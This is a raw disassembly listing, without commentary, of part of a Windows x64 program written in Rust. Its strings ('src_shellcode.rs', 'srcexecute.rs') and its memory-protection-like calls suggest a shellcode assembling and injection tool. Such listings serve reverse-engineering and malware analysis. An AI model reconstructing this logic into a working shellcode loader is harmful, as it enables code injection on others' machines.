pxor xmm0, xmm0
movdqu xmmword [rbp + 0x32c], xmm0
movdqa xmmword [rbp + 0x320], xmm0
mov word [rbp + 0x346], 0
mov word [rbp + 0x33c], 0x3636
mov qword [rbp + 0x33e], 0x610000
lea rcx, [rbp + 0x2c0]
lea rdx, [rbp + 0x1c0]
lea r8, [rbp + 0x320]
call fcn.140050690
mov rax, qword [rbp + 0x2c0]
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x14001e76b
add rdi, qword [rbp + 0xf0]
lea rcx, [rbp + 0x2c0]
mov dl, 0x35
mov r8, rdi
call fcn.140071000
movzx eax, word [rbp + 0x2e0]
cmp eax, 0x1348
jne 0x14001e5c2
mov rax, qword [rbp + 0x2d0]
movdqu xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], rax
jmp 0x14001e62d
movdqu xmm0, xmmword [rbp + 0x2c0]
movdqu xmm1, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0xd0], xmm1
movdqa xmmword [rbp + 0xc0], xmm0
mov ecx, dword [rbp + 0x2e2]
mov dword [rbp + 0x342], ecx
movzx ecx, word [rbp + 0x2e6]
mov word [rbp + 0x346], cx
movdqa xmmword [rbp + 0x320], xmm0
movdqa xmmword [rbp + 0x330], xmm1
mov word [rbp + 0x340], ax
lea rcx, [rbp + 0x2a0]
lea rdx, [rbp + 0x1c0]
lea r8, [rbp + 0x320]
call fcn.140050690
mov rax, qword [rbp + 0x2a0]
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x14001e798
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x32c], xmm0
movdqa xmmword [rbp + 0x320], xmm0
mov dword [rbp + 0x342], 0
mov word [rbp + 0x346], 0
mov byte [rbp + 0x33c], 0x35
mov byte [rbp + 0x33f], 0
mov word [rbp + 0x33d], 0
mov word [rbp + 0x340], 0x2fd
lea rcx, [rbp + 0x2c0]
lea rdx, [rbp + 0x1c0]
lea r8, [rbp + 0x320]
call fcn.140050690
mov rax, qword [rbp + 0x2c0]
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x14001e76b
mov eax, dword [rbp + 0x210]
cmp eax, 0x20
mov cx, 0x18a
sbb cx, 0xffff
cmp eax, 0x40
mov edi, 0x18c
cmovne edi, ecx
mov r14, qword [rbp + 0x1e0]
movzx eax, byte [rbp + 0x214]
test r14, r14
je 0x14001e721
test al, al
je 0x14001e7b0
lea rax, str.You_cant_create_both_an_anonymous_label_and_a_normal_labelVf.:hB_etRZH__d9ulpYT:Nmn6R_3:Y__6lCJDUzie_1d:L_bv2b_ybqRSUiS.jbFliPF_RHBpXm22_QFeEoOG__gR
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x330], 0x3b
movabs rax, 0x8000000000000000
jmp 0x14001eb20
test al, al
je 0x14001e7ad
mov r14, qword [rbp + 0x1f0]
jmp 0x14001e7b0
or r14d, ecx
test al, 8
je 0x14001e393
and r14d, 0xffffff1f
or r14d, 0x80
lea r12, [rbp + 0x1e0]
mov r13, qword [rbp + 0x1d0]
cmp r13, qword [rbp + 0x1c0]
je 0x14001e3aa
jmp 0x14001e3b6
movdqu xmm0, xmmword [rbp + 0x2c8]
jmp 0x14001e7a0
xor r14d, r14d
lea r12, [rbp + 0x1e0]
mov r13, qword [rbp + 0x1d0]
cmp r13, qword [rbp + 0x1c0]
je 0x14001e3aa
jmp 0x14001e3b6
movdqu xmm0, xmmword [rbp + 0x2a8]
movdqu xmmword [rbp + 0x328], xmm0
jmp 0x14001eb20
xor r14d, r14d
movzx eax, byte [rbp + 0x215]
test eax, eax
je 0x14001e94a
mov r13d, eax
shl r13d, 0x1f
mov ecx, 0x20000000
test al, 2
jne 0x14001e911
mov ecx, 0x40000000
test al, 4
jne 0x14001e911
test al, 8
jne 0x14001e91c
lea r15, [rbp + 0x1e0]
mov r12, qword [rbp + 0x1d0]
cmp r12, qword [rbp + 0x1c0]
jne 0x14001e80b
lea rcx, [rbp + 0x1c0]
call fcn.1400505c0
mov rbx, qword [rbp + 0x1c8]
lea rax, [r12 + r12*4]
mov qword [rbx + rax*8], r14
mov qword [rbx + rax*8 + 8], 0
mov dword [rbx + rax*8 + 0x10], 0
mov dword [rbx + rax*8 + 0x14], r13d
mov qword [rbx + rax*8 + 0x18], 0
mov word [rbx + rax*8 + 0x20], di
inc r12
mov dword [rbx + rax*8 + 0x22], 0
mov word [rbx + rax*8 + 0x26], 0
mov qword [rbp + 0x1d0], r12
mov word [rbp + 0x214], 0
pxor xmm0, xmm0
movdqu xmmword [r15], xmm0
lea rcx, [rbp + 0x320]
lea rdx, [rbp + 0x1c0]
xor r8d, r8d
call fcn.14000c290
movdqu xmm0, xmmword [rbp + 0x328]
movdqa xmmword [rbp + 0xa0], xmm0
mov rax, qword [rbp + 0x338]
mov qword [rbp + 0xb0], rax
test byte [rbp + 0x320], 1
jne 0x14001eb9c
mov r15, qword [rbp + 0xa0]
mov r14, qword [rbp + 0xa8]
mov rdi, qword [rbp + 0xb0]
cmp qword [rbp + 0x1c0], 0
je 0x14001e8db
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, r15
neg rax
jno 0x14001e8eb
mov rbx, r14
jmp 0x14001eb56
mov rcx, qword [rbp + 0x308]
mov rdx, rdi
mov r8d, 4
call qword [rbp + 0x300]
mov r13, rdx
test rax, rax
je 0x14001e96d
mov rbx, r13
jmp 0x14001e9bb
or r13d, ecx
test al, 8
je 0x14001e7e8
and r13d, 0xffffff1f
or r13d, 0x80
lea r15, [rbp + 0x1e0]
mov r12, qword [rbp + 0x1d0]
cmp r12, qword [rbp + 0x1c0]
je 0x14001e7ff
jmp 0x14001e80b
xor r13d, r13d
lea r15, [rbp + 0x1e0]
mov r12, qword [rbp + 0x1d0]
cmp r12, qword [rbp + 0x1c0]
je 0x14001e7ff
jmp 0x14001e80b
mov rcx, qword [rbp + 0x308]
mov rdx, r13
mov r8, r14
mov r9, rdi
call qword [rbp + 0x298]
mov rbx, rax
test rax, rax
jne 0x14001e9bb
mov dword [rbp + 0xc0], 0x20
lea r9, [rbp + 0xc0]
mov rcx, qword [rbp + 0x308]
mov rdx, r13
mov r8, rdi
call qword [rbp + 0x2f8]
mov rbx, rax
test rax, rax
je 0x14001ebdc
test r15, r15
je 0x14001eb56
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r14
jmp 0x14001eb50
mov cl, 1
jmp 0x14001ebbd
mov qword [rbp + 0x110], rdx
lea rax, [0x14020cd80]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140083b10
lea r8, [rbp + 0x110]
mov edx, 0x2b
call fcn.1400b1790
jmp 0x14001ea42
mov qword [rbp + 0x110], r13
lea rax, [0x14020cd98]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140083b10
lea r8, [rbp + 0x110]
mov edx, 0x2b
call fcn.1400b1790
ud2
call fcn.1400b5940
mov rbx, rax
jmp 0x14001d41f
mov cl, 7
jmp 0x14001ebbd
movzx edx, byte [rbp + 0x2cf]
shl edx, 0x10
movzx r9d, word [rbp + 0x2cd]
or r9d, edx
shl r9, 0x20
mov r8d, dword [rbp + 0x2c9]
or r8, r9
mov rdx, qword [rbp + 0x2d0]
jmp 0x14001eaa1
lea rcx, str.Not_an_immediate_operandInvalid_unsigned_immediateCode_value_s_op_isnt_an_immediate_operand
mov r8, rcx
shr r8, 8
mov edx, 0x18
movabs rax, 0x8000000000000000
shl r8, 8
movzx ecx, cl
or rcx, r8
mov r8, rdx
shr r8, 0x10
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rcx
mov byte [rbp + 0xd0], dl
mov byte [rbp + 0xd1], dh
shr rdx, 0x30
mov word [rbp + 0xd6], dx
mov dword [rbp + 0xd2], r8d
mov rcx, qword [rbp + 0xc8]
mov qword [rbp + 0x328], rcx
movzx ecx, byte [rbp + 0xd0]
mov byte [rbp + 0x330], cl
movzx ecx, byte [rbp + 0xd1]
mov byte [rbp + 0x331], cl
mov ecx, dword [rbp + 0xd2]
mov dword [rbp + 0x332], ecx
movzx ecx, word [rbp + 0xd6]
mov word [rbp + 0x336], cx
mov qword [rbp + 0x320], rax
lea rcx, [rbp + 0x320]
call fcn.1400b1050
mov rbx, rax
cmp qword [rbp + 0x1c0], 0
je 0x14001eb56
mov r8, qword [rbp + 0x1c8]
mov rcx, qword [0x14021f8e0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x318], 0
je 0x14001eb8a
mov rcx, qword [rbp + 0x308]
mov rdx, qword [rbp + 0x318]
mov rax, qword [rbp + 0x2f0]
call qword [rax + 0x50]
test rax, rax
je 0x14001eb8a
mov r15, rax
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
jmp 0x14001eb8d
mov r15, rbx
mov r13, qword [rbp + 0x290]
mov r12, r15
jmp 0x14001cd94
lea rcx, [rbp + 0xa0]
call fcn.1400b1050
mov rbx, rax
cmp qword [rbp + 0x1c0], 0
jne 0x14001eb40
jmp 0x14001eb56
mov cl, 4
jmp 0x14001ebbd
mov cl, 6
mov byte [rbp + 0x1c0], cl
lea rax, str.src_aaaa.rs
jmp 0x14001ddbc
mov ecx, 1
mov rdx, rsi
call fcn.1400b1210
mov qword [rbp + 0x1c0], 0
mov qword [rbp + 0x1c8], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x1d0], xmm0
movdqu xmmword [rbp + 0x1e0], xmm0
movdqu xmmword [rbp + 0x1f0], xmm0
movdqu xmmword [rbp + 0x200], xmm0
mov dword [rbp + 0x210], 0x40
mov word [rbp + 0x214], 0
mov byte [rbp + 0x216], 3
movdqa xmmword [rbp + 0x330], xmm0
movdqa xmmword [rbp + 0x320], xmm0
mov word [rbp + 0x340], 0x12c
mov dword [rbp + 0x342], 0
mov word [rbp + 0x346], 0
lea rcx, [rbp + 0x2c0]
lea rdx, [rbp + 0x1c0]
lea r8, [rbp + 0x320]
call fcn.140050690
mov rax, qword [rbp + 0x2c0]
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x14001eded
lea rcx, [rbp + 0x2c0]
lea rdx, [rbp + 0x1c0]
mov r8, r13
call fcn.14000c0e0
mov rax, qword [rbp + 0x2c0]
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x14001eded
lea rcx, [rbp + 0x2c0]
lea rdx, [rbp + 0x1c0]
call fcn.14000bf60
mov rax, qword [rbp + 0x2c0]
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x14001eded
lea rcx, [rbp + 0x320]
lea rdx, [rbp + 0x1c0]
xor r8d, r8d
call fcn.14000c290
mov r13, qword [rbp + 0x328]
mov rbx, qword [rbp + 0x330]
mov r12, qword [rbp + 0x338]
test byte [rbp + 0x320], 1
jne 0x14001ef98
lea r8, [rbx + r12]
lea rcx, [rbp + 0x320]
mov rdx, rbx
call fcn.140001670
cmp qword [rbp + 0x320], 0
je 0x14001ed58
mov r8, qword [rbp + 0x328]
mov rcx, qword [0x14021f8e0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x1c0], 0
je 0x14001ed78
mov r8, qword [rbp + 0x1c8]
mov rcx, qword [0x14021f8e0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
je 0x14001ed8f
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, r13
neg rax
jo 0x14001eb56
mov rcx, qword [rbp + 0x308]
mov rdx, rsi
mov r8, rbx
mov r9, r12
call qword [rbp + 0x298]
test rax, rax
je 0x14001ee09
mov r15, rax
mov rcx, qword [rbp + 0x308]
mov rdx, qword [rbp + 0x318]
mov rax, qword [rbp + 0x2f0]
call qword [rax + 0x50]
test rax, rax
je 0x14001ee96
mov rsi, rax
mov rcx, r15
mov rax, qword [r15]
call qword [rax]
mov r15, rsi
jmp 0x14001ee96
movdqu xmm0, xmmword [rbp + 0x2c8]
movdqu xmmword [rbp + 0x328], xmm0
mov qword [rbp + 0x320], rax
jmp 0x14001efad
test r12, r12
je 0x14001f062
movzx eax, byte [rbx]
mov byte [rbp + 0x2c0], al
cmp r12, 1
je 0x14001f072
movzx ecx, byte [rbx + 1]
mov byte [rbp + 0x320], cl
cmp r12, 2
jbe 0x14001f088
movzx ecx, byte [rbx + 2]
mov byte [rbp + 0x1c0], cl
movzx r14d, byte [rbp + 0x11c]
cmp al, r14b
jne 0x14001eeb6
mov rcx, qword [rbp + 0x308]
mov rdx, qword [rbp + 0x318]
mov rax, qword [rbp + 0x2f0]
call qword [rax + 0x50]
test rax, rax
jne 0x14001ee93
lea r9, [rbp + 0x80]
mov r8d, 0x20
mov rcx, qword [rbp + 0x308]
mov rdx, rsi
call qword [rbp + 0x2f8]
test rax, rax
je 0x14001efe5
mov r15, rax
test r13, r13
je 0x14001eb8d
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001eb8d
movzx r12d, byte [rbp + 0x11d]
movzx eax, byte [rbp + 0x11e]
mov byte [rbp + 0x300], al
lea rax, [rsi + 1]
mov qword [rbp + 0x298], rax
lea rax, [rsi + 2]
mov qword [rbp + 0x1b0], rax
cmp byte [rbp + 0x320], r12b
je 0x14001ee50
movzx eax, byte [rbp + 0x300]
cmp byte [rbp + 0x1c0], al
je 0x14001ee50
mov rax, qword [rbp + 0x2f0]
mov rdi, qword [rax + 0x30]
mov r9d, 1
mov rcx, qword [rbp + 0x308]
lea rdx, [rbp + 0x2c0]
mov r8, rsi
call rdi
test rax, rax
jne 0x14001edb6
mov r9d, 1
mov rcx, qword [rbp + 0x308]
lea rdx, [rbp + 0x320]
mov r8, qword [rbp + 0x298]
call rdi
test rax, rax
jne 0x14001edb6
mov r9d, 1
mov rcx, qword [rbp + 0x308]
lea rdx, [rbp + 0x1c0]
mov r8, qword [rbp + 0x1b0]
call rdi
test rax, rax
jne 0x14001edb6
xor ecx, ecx
mov edx, 0x11e1a300
call fcn.140085e10
cmp byte [rbp + 0x2c0], r14b
jne 0x14001eee1
jmp 0x14001ee50
mov qword [rbp + 0x320], r13
mov qword [rbp + 0x328], rbx
mov qword [rbp + 0x330], r12
lea rcx, [rbp + 0x320]
call fcn.1400b1050
mov rbx, rax
cmp qword [rbp + 0x1c0], 0
je 0x14001e9bb
mov r8, qword [rbp + 0x1c8]
mov rcx, qword [0x14021f8e0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001e9bb
test r13, r13
je 0x14001effc
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x290]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x1a0], 0
je 0x14001f02f
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x78]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rbp + 0x308]
mov rdx, qword [rbp + 0x2f0]
call fcn.140004750
xor r12d, r12d
jmp 0x14001ca6e
lea rcx, str.not_yet_implementedsrc_shellcode.rs
lea r8, [0x1400b9510]
mov edx, 0x13
call fcn.1400b14f0
lea r8, str.srcexecute.rs
xor ecx, ecx
xor edx, edx
call fcn.1400b13d0
lea r8, str.srcexecute.rs
mov ecx, 1
mov edx, 1
call fcn.1400b13d0
lea r8, str.srcexecute.rs
mov ecx, 2
mov edx, 2
call fcn.1400b13d0
int3